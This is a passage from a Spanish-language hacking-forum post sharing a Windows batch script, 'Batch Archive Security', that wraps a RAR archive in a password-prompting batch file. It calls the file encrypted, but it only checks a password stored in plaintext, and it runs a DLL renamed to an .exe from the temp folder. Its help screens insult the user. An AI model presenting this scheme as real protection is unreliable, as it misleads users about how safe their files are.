  181. echo echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  182. echo echo ³                                                               ³
  183. echo echo ³                                                               ³
  184. echo echo ³       ERROR  :                                                ³
  185. echo echo ³                                                               ³
  186. echo echo ³     Se necesita el Archivo .dll para descifrar                ³
  187. echo echo ³                                                               ³
  188. echo echo ³                                                               ³
  189. echo echo ³                  ERROR CODE ^(2111996x32^)                      ³
  190. echo echo ³                                                               ³
  191. echo echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
  192. echo pause
  193. echo exit
  194. echo :sad
  195. echo MODE con:cols=80 lines=26
  196. echo color a
  197. echo echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  Realse 
  198. echo echo ³                                                               ³     Version 
  199. echo echo ³                                                               ³          0.3
  200. echo echo ³                                                               ³
  201. echo echo ³                                                               ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  202. echo echo ³      Creada especialmente para *Foro el Hacker.NET*           ³ BATCH       ³
  203. echo echo ³                       De Parte de **Aincrad**                 ³   ARCHIVE   ³
  204. echo echo ³                                                               ³     SECURITY³
  205. echo echo ³                                                               ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
  206. echo echo ³    PASOS A SEGUIR:                                            ³ Para:
  207. echo echo ³     1. Escriba el Pass *Contrase¤a*. Todo menos simbolos.     ³    F  
  208. echo echo ³                                                               ³     o
  209. echo echo ³     2. Listo..... :v                                          ³      r
  210. echo echo ³                                                               ³       o
  211. echo echo ³     4. En caso de no entender nada de los pasos a seguir      ³   El    
  212. echo echo ³                     Vayase a la mierrrrr...da                 ³ H
  213. echo echo ³                                                               ³  a
  214. echo echo ³                                                               ³   c
  215. echo echo ³                                                               ³    k
  216. echo echo ³                                                               ³     e
  217. echo echo ³                                                               ³      r
  218. echo echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ       .NET
  219. echo echo   26/09/20017   Caracas-Venezuela           Create BY **Aincrad**
  220. echo set /p c= Escriba la contrase¤a del archivo cifrado : 
  221. echo if not defined c  ^exit  
  222. echo If ^%%c%%^=^= %psw% goto d  
  223. echo goto e
  224. echo :e
  225. echo title Error - contrase¤a Incorrecta.
  226. echo MODE con:cols=66 lines=18
  227. echo color c
  228. echo echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  229. echo echo ³                                                               ³
  230. echo echo ³                                                               ³
  231. echo echo ³       ERROR  :                                                ³
  232. echo echo ³                                                               ³
  233. echo echo ³     Contrase¤a Incorrecta - Porfavor vuelva a intentar        ³
  234. echo echo ³                                                               ³
  235. echo echo ³                                                               ³
  236. echo echo ³                  ERROR CODE ^(2111996x34^)                      ³
  237. echo echo ³                                                               ³
  238. echo echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
  239. echo pause ^& goto sad
  240. echo goto sad
  241. echo :d
  242. echo copy /b ^"%op% cifrado.bat^" ^"^%%temp%%\ar1.rar^"
  243. echo start ^%%temp%%\CSS.exe e ^"^%%temp%%\ar1.rar^"
  244. echo exit) > %temp%\bas.bat
  245.  
  246. :co
  247. tasklist | find /i "rar.exe" && (
  248. echo ESPERE PORFAVOR . . . .
  249. ) || (
  250. Ping -n 4 Localhost >NUL
  251. echo Proceso terminado.
  252. copy /b "%temp%\bas.bat" + "%temp%\ar1.rar" "%op% cifrado.bat%
  253. copy /b "apc.dll" "%op%.dll" 
  254. goto f
  255. )
  256. goto co
  257.  
  258. :f
  259. echo Proceso terminado Gracias por usar Batch Archive Security
  260. echo Salvador F. Krilewski.    **Aincrad**
  261. pause & exit
  262.  
  263. ::::::::::::::::::::::::::::
  264. :err
  265. ::::::::::::::::::::::::::::
  266. title Error . . . . . . .
  267. MODE con:cols=66 lines=18
  268. color c
  269. echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  270. echo ³                                                               ³
  271. echo ³                                                               ³
  272. echo ³                                                               ³
  273. echo ³                                                               ³
  274. echo ³          no se ha Encontrado el Archivo Especificado.         ³
  275. echo ³                                                               ³
  276. echo ³                                                               ³
  277. echo ³                  ERROR CODE (2111995x32)                      ³
  278. echo ³                                                               ³
  279. echo ³                                                               ³
  280. echo ³                                                               ³
  281. echo ³                                                               ³
  282. echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ 
  283. echo   26/09/20017   Caracas-Venezuela           Create BY **Aincrad**
  284. echo/
  285. pause & exit
  286.  
  287. :api
  288. ::::::::::::::::::::::::::::
  289. title Error . . . . . . .
  290. MODE con:cols=66 lines=18
  291. color c
  292. echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  293. echo ³                                                               ³
  294. echo ³                                                               ³
  295. echo ³       ERROR ENCONTRADO :                                      ³
  296. echo ³                                                               ³
  297. echo ³          no se ha Encontrado el Archivo api.dll .             ³
  298. echo ³                                                               ³
  299. echo ³                                                               ³
  300. echo ³                  ERROR CODE (2111996x32)                      ³
  301. echo ³                                                               ³
  302. echo ³                                                               ³
  303. echo ³                                                               ³
  304. echo ³                                                               ³
  305. echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ 
  306. echo   26/09/20017   Caracas-Venezuela           Create BY **Aincrad**
  307. echo/
  308. pause & exit
  309.  
  310. ::::::::::::::::::::::::::::
  311. :help
  312. ::::::::::::::::::::::::::::
  313. title help me . . . 
  314. MODE con:cols=66 lines=18
  315. color a
  316. echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  317. echo ³                                                               ³
  318. echo ³                                                               ³
  319. echo ³                                                               ³
  320. echo ³                                                               ³
  321. echo ³           Vallase a la *****. Bruto ignorante. :V JAJA       ³
  322. echo ³                                                               ³
  323. echo ³                                                               ³
  324. echo ³                  ERROR CODE (Usted=BURRO)                     ³
  325. echo ³                                                               ³
  326. echo ³                                                               ³
  327. echo ³                                              By S4Lsalsoft    ³
  328. echo ³                                                               ³
  329. echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ 
  330. echo   26/09/20017   Caracas-Venezuela           Create BY **Aincrad**
  331. echo/
  332. pause & exit
  333.  
  334. :mksys
  335. if exist apc.dll copy /b "apc.dll" "%temp%\CSS.exe" >nul 
  336. if not exist apc.dll goto api >nul
  337. if exist %temp%\ar1.rar del %temp%\ar1.rar >nul
  338. if exist %temp%\pass.txt del %temp%\pass.txt >nul
  339. if exist %temp%\pass1.txt del %temp%\pass1.txt >nul
  340. if exist %temp%\bas.bat del %temp%\bas.bat >nul
  341. goto menu

Recuerden el batch solo no les va a funcionar, tienen que descargarla .

imagen del programa:



Y Para los desconfiados les dejo el reporte de virus-total :

https://www.virustotal.com/#/file/06df70be4d670fefdbdde4879513cb75aa5aac860b4023baf9ca1b5db3355f36/detection

                               comenten sus criticas y opiniones
Páginas: 1 2 3 4 5 6 7 8 9 10 11 [12] 13 14 15 16 17
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines